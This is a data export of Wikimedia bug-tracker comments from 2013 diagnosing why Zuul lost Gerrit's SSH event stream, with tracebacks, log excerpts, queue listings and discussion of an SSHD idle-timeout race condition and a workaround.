every 4 minutes.",,,1365413039,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,3.52,0.84,"Until we can deploy a new gerrit build, we prevent timeouts by forcing a
recheck on
URL
every 4 minutes."
207632,Zuul: Gerrit's ssh event stream unavailable,Related URL: https://gerrit.wikimedia.org/r/58063 (Gerrit Change I431ff970596aae03b3ab5276303ed18574892b13),,,1365411081,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I431ff970596aae03b3ab5276303ed18574892b13)
207628,Zuul: Gerrit's ssh event stream unavailable,Related URL: https://gerrit.wikimedia.org/r/58060 (Gerrit Change Ie0b3b0a5d77a2192abd09a934e780b8e622a1edd),,,1365410487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie0b3b0a5d77a2192abd09a934e780b8e622a1edd)
207625,Zuul: Gerrit's ssh event stream unavailable,Related URL: https://gerrit.wikimedia.org/r/58059 (Gerrit Change Ie0b3b0a5d77a2192abd09a934e780b8e622a1edd),,,1365408553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie0b3b0a5d77a2192abd09a934e780b8e622a1edd)
207621,Zuul: Gerrit's ssh event stream unavailable,"For the context:

Zuul is a python daemon running on gallium. It establish a ssh connection as jenkins-bot on manganese.wikimedia.org and runs the 'gerrit stream-events' command.   It expect JSON object to be returned.

Looking at the Zuul log (fgrep GerritWatcher /var/log/zuul/zuul.log), it does emit a stacktrace every 10 minutes:


2013-04-08 05:50:48,028 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:00:53,176 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:10:58,266 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:21:03,383 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:31:08,472 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:41:13,594 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:51:18,687 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 07:01:23,782 ERROR gerrit.GerritWatcher: Exception on ssh event stream:

A full trace is:


2013-04-08 00:12:10,016 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
Traceback (most recent call last):
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 68, in _run
    self._listen(stdout, stderr)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 52, in _listen
    self._read(stdout)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 39, in _read
    data = json.loads(l)
  File ""/usr/lib/python2.7/json/__init__.py"", line 326, in loads
    return _default_decoder.decode(s)
  File ""/usr/lib/python2.7/json/decoder.py"", line 366, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File ""/usr/lib/python2.7/json/decoder.py"", line 384, in raw_decode
    raise ValueError(""No JSON object could be decoded"")
ValueError: No JSON object could be decoded


Which is stream-events sending some invalid JSON, most probably something like ""Connection timed out after 10 minutes"".    It seems Zuul properly reconnect the ssh connection.


Whenever the stream-events for Zuul, it is also blocked for any other user even on a fresh new connection.  For example, I could run the stream-events command using my own account, fill a comment in Gerrit and I get no event on the channel.",,,1365407692,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-12,,0.5,0.16666666666666666,0.0,0.6666666666666666,0.0,1.8333333333333333,0.16666666666666666,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,1.3333333333333333,5.666666666666667,0.16666666666666666,0.16666666666666666,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.5,0.0,0.5,1.6666666666666667,0.3333333333333333,0.8333333333333334,0.6666666666666666,0.0,0.16666666666666666,0.0,0.5,0.3333333333333333,0.3333333333333333,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,18.333333333333332,0.0,0.0,0.0,0.5,0.16666666666666666,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.1666666666666667,10.0,0.16666666666666666,0.3333333333333333,3.5,0.0,0.0,0.0,0.0,1.5,0.0,7.166666666666667,0.0,1.6666666666666667,5.666666666666667,11.666666666666666,0.0,2.8333333333333335,0.0,1.6666666666666667,0.0,0.3333333333333333,1.0,0.0,0.8333333333333334,0.0,0.3333333333333333,0.16666666666666666,3.9757594673325016,0.49852267998335414,"For the context:

Zuul is a python daemon running on gallium. It establish a ssh connection as jenkins-bot on manganese.wikimedia.org and runs the 'gerrit stream-events' command.   It expect JSON object to be returned.

Looking at the Zuul log (fgrep GerritWatcher /var/log/zuul/zuul.log), it does emit a stacktrace every 10 minutes:


2013-04-08 05:50:48,028 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:00:53,176 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:10:58,266 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:21:03,383 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:31:08,472 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:41:13,594 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 06:51:18,687 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
2013-04-08 07:01:23,782 ERROR gerrit.GerritWatcher: Exception on ssh event stream:

A full trace is:


2013-04-08 00:12:10,016 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
Traceback (most recent call last):
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 68, in _run
    self._listen(stdout, stderr)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 52, in _listen
    self._read(stdout)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 39, in _read
    data = json.loads(l)
  File ""/usr/lib/python2.7/json/__init__.py"", line 326, in loads
    return _default_decoder.decode(s)
  File ""/usr/lib/python2.7/json/decoder.py"", line 366, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File ""/usr/lib/python2.7/json/decoder.py"", line 384, in raw_decode
    raise ValueError(""No JSON object could be decoded"")
ValueError: No JSON object could be decoded


Which is stream-events sending some invalid JSON, most probably something like ""Connection timed out after 10 minutes"".    It seems Zuul properly reconnect the ssh connection.


Whenever the stream-events for Zuul, it is also blocked for any other user even on a fresh new connection.  For example, I could run the stream-events command using my own account, fill a comment in Gerrit and I get no event on the channel."
207615,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #10)
> https://gerrit-review.googlesource.com/#/c/44351/
> got submitted to upstream gerrit.
> 

It hasn't been reviewed / merged yet however. How long are we willing to wait? Can we apply it to our fork for now?

Jenkins being down is causing lots of workflow problems throughout the different projects.",,,1365397526,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,12.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,14.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,9.0,12.0,2.0,3.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6724137931034484,0.8275862068965517,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE

It hasn't been reviewed / merged yet however. How long are we willing to wait? Can we apply it to our fork for now?

Jenkins being down is causing lots of workflow problems throughout the different projects."
207608,Zuul: Gerrit's ssh event stream unavailable,"Raising importance, this needs fixing ASAP. We need testing. Not just to save work, but because we (and by design and intention) rely on it automatically happen and performing the merge action on approval.

Also the lack of postmerge events is blocking (auto-deploy for certain projects).",,,1365391228,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,8.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,8.0,2.0,7.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.135593220338983,0.8305084745762712,"Raising importance, this needs fixing ASAP. We need testing. Not just to save work, but because we (and by design and intention) rely on it automatically happen and performing the merge action on approval.

Also the lack of postmerge events is blocking (auto-deploy for certain projects)."
207602,Zuul: Gerrit's ssh event stream unavailable,"Although I cannot reliably reproduce the problem, the culprit seems to
be gerrit's version bump of Apache SSHD to 0.6.0, which comes with
closing of idle ssh connections.

Upon 10 minutes of inactivity, gerrit disconnects Zuul, and Zuul has
to reconnect. Gerrit accepts the connection, but sometimes refuses to
stream events over the new connection. There seems to be some race
condition in gerrit when Zuul reconnects.

We can mitigate the problem by having at least 1 commit every 10
minutes... Go, programmers go :-))

To also have a solution until we get that commit density 24/7,
https://gerrit-review.googlesource.com/#/c/44351/
got submitted to upstream gerrit.

(We cannot simply downgrade gerrit to the last known good version, as
that would require database schema downgrading, which currently is not
supported by gerrit)",,,1365379934,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,1.0,0.0,0.0,0.0,1.5,3.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,2.5,0.5,6.5,11.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.5,0.0,6.5,1.0,0.0,0.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,4.0,1.5,8.0,1.5,1.0,6.0,0.0,0.5,0.0,0.0,6.0,0.0,2.5,0.0,2.5,11.5,4.0,0.0,0.0,0.0,2.5,0.0,3.0,0.5,0.0,0.5,0.0,0.5,0.0,4.148148148148149,0.7222222222222222,"Although I cannot reliably reproduce the problem, the culprit seems to
be gerrit's version bump of Apache SSHD to 0.6.0, which comes with
closing of idle ssh connections.

Upon 10 minutes of inactivity, gerrit disconnects Zuul, and Zuul has
to reconnect. Gerrit accepts the connection, but sometimes refuses to
stream events over the new connection. There seems to be some race
condition in gerrit when Zuul reconnects.

We can mitigate the problem by having at least 1 commit every 10
minutes... Go, programmers go :-))

To also have a solution until we get that commit density 24/7,
URL
got submitted to upstream gerrit.

(We cannot simply downgrade gerrit to the last known good version, as
that would require database schema downgrading, which currently is not
supported by gerrit)"
207597,Zuul: Gerrit's ssh event stream unavailable,"Stuck again but this time show-queue gives me:

Task     State                 Command
------------------------------------------------------------------------------
5229a073                       git-upload-pack '/mediawiki/extensions/VisualEditor' (shirayuki)
aad42f27 07:18:57.201          inside-wmf/mediawiki/extensions/FundraisingEmailUnsubscribe
------------------------------------------------------------------------------

Logged a message on IRC about it and pinged ops list.",,,1365319742,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,5.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,7.107692307692307,0.7846153846153846,"Stuck again but this time show-queue gives me:

Task     State                 Command
------------------------------------------------------------------------------
5229a073                       git-upload-pack '/mediawiki/extensions/VisualEditor' (shirayuki)
aad42f27 07:18:57.201          inside-wmf/mediawiki/extensions/FundraisingEmailUnsubscribe
------------------------------------------------------------------------------

Logged a message on IRC about it and pinged ops list."
207590,Zuul: Gerrit's ssh event stream unavailable,"Changing back to git/gerrit. Zuul has no issue, it is Gerrit holding the events and not emitting them.",,,1365318838,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,3.6956521739130435,0.9565217391304348,"Changing back to git/gerrit. Zuul has no issue, it is Gerrit holding the events and not emitting them."
207583,Zuul: Gerrit's ssh event stream unavailable,"The Zuul log is full of the following:

2013-04-06 17:02:55,441 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
Traceback (most recent call last):
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 68, in _run
    self._listen(stdout, stderr)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 52, in _listen
    self._read(stdout)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 39, in _read
    data = json.loads(l)
  File ""/usr/lib/python2.7/json/__init__.py"", line 326, in loads
    return _default_decoder.decode(s)
  File ""/usr/lib/python2.7/json/decoder.py"", line 366, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File ""/usr/lib/python2.7/json/decoder.py"", line 384, in raw_decode
    raise ValueError(""No JSON object could be decoded"")
ValueError: No JSON object could be decoded",,,1365268135,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,17.333333333333332,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,6.333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,4.666666666666667,0.0,0.3333333333333333,4.0,14.333333333333334,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.860434923726063,0.5380287785351077,"The Zuul log is full of the following:

2013-04-06 17:02:55,441 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
Traceback (most recent call last):
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 68, in _run
    self._listen(stdout, stderr)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 52, in _listen
    self._read(stdout)
  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 39, in _read
    data = json.loads(l)
  File ""/usr/lib/python2.7/json/__init__.py"", line 326, in loads
    return _default_decoder.decode(s)
  File ""/usr/lib/python2.7/json/decoder.py"", line 366, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File ""/usr/lib/python2.7/json/decoder.py"", line 384, in raw_decode
    raise ValueError(""No JSON object could be decoded"")
ValueError: No JSON object could be decoded"
207575,Zuul: Gerrit's ssh event stream unavailable,"Restarted again, since stram-events hung. The output from the queue is kind of weird & concerning:

$ ssh gerrit.wikimedia.org gerrit show-queue -w
Task     State                 Command
------------------------------------------------------------------------------
9c0dc448                       com.google.gerrit.sshd.commands.StreamEvents$3@6435207f
85d6cd95                       com.google.gerrit.sshd.commands.StreamEvents$3@5be8a53e
c54125b8                       com.google.gerrit.sshd.commands.StreamEvents$3@6b8b896
a0d428db                       com.google.gerrit.sshd.commands.StreamEvents$3@495e834c
0323c3c0                       com.google.gerrit.sshd.commands.StreamEvents$3@5bfe1835
49cc90ac                       com.google.gerrit.sshd.commands.StreamEvents$3@6e76ec2
e9bf84a4                       com.google.gerrit.sshd.commands.StreamEvents$3@44188618
4617a0ff                       com.google.gerrit.sshd.commands.StreamEvents$3@260bb495
5e8f7686                       com.google.gerrit.sshd.commands.StreamEvents$3@4a7cb5b6
fe9f4ab9 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@40811f5d
3e416208 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7194d12c
1e449e17 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5d3233c0
de9a86cc waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7efe402f
9ea40e12 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@ae3b20d
bea9d2e8 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6abe7910
be3472ba waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6130d9f5
5e4a1628 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4e3595ac
1915a152 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@417de5ee
3943c55a waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1ff57751
9938b1f3 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5a31e6f7
f911ad68 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2329064
593eb9dd waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@f04a851
9982f1fc waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@30828dd9
665afa9e waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2c6c773b
066e9e41 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@507d946
23f714d9 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4b2eba70
0ff474d2 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@68d2359f
6fc0906b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@40be8f7c
835cc5a8 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1ebe3719
63619163 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5a135a13
c3563d8b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2c7ec398
a35b09b3 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@365b46fa
0370d533 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2290e2f7
e36ca160 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5624d7db
436a4d46 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@cd7970c
23671980 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1dfd9b6a
63fd11f8 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@74e65b87
83fda551 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3f833806
5d722e74 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3fd3327d
bd77aa62 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4297cd47
9d7c2648 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7c261278
bdab2a74 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2786c3f5
baa810b1 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@ab1e19
7f44cb17 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6244fba6
bf4ec337 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@194923d6
df493731 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@10cfc392
ff2f5b61 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4649853e
1f334fd3 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4cacd7f
7f160b2c waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1ee581b1
046d445a waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6da59b4f
64b8c066 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@137797c6
848db42c waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@108d5226
4926f573 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2e0c4547
8bfdc551 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1e794f4e
2b8db900 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2e459983
6b02d146 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@27984fef
cb073d54 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5b617f30
ab0c4979 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5de5572e
eb0d6177 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@45a5965c
0b11d594 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7a3295bc
783069a2 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@a7e838
46810952 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@f7eb4de
267e5542 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7bbebd2a
868b8174 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@27754fde
c694199b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6ce8c0f
6688cd79 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@624d3046
c6e3b962 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@479462c4
06f1d196 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5ee05692
554535c0 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3830aedd
b235a762 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4284bfd
f23f9f40 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@399c7615
923ae350 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4f0c7a3f
d244dbcb waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7ac6658a
3249b7e2 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@773485fe
7253af98 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3c2de6a4
1246f3d4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@698137d9
5250eb8b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5a53bbe7
5288eb78 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2f556905
cc3d20e4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1061df8a
2c32bc16 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2279bdac
0c2fb8ac waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@669378e2
0c5a59a0 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@66280ecb
6c4e75e4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4fe365d2
4c4b71d4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@99ae56d
f650f82e waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@184c5c08
e71cc87a waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3d2e1dae
d36dcb8e 12:18:22.186          push gerritslave@formey.wikimedia.org:/var/lib/gerrit2/review_site/git/mediawiki/extensions/FundraisingEmailUnsubscribe.git
da7faee1 19:42:45.214          Log File Compressor
------------------------------------------------------------------------------
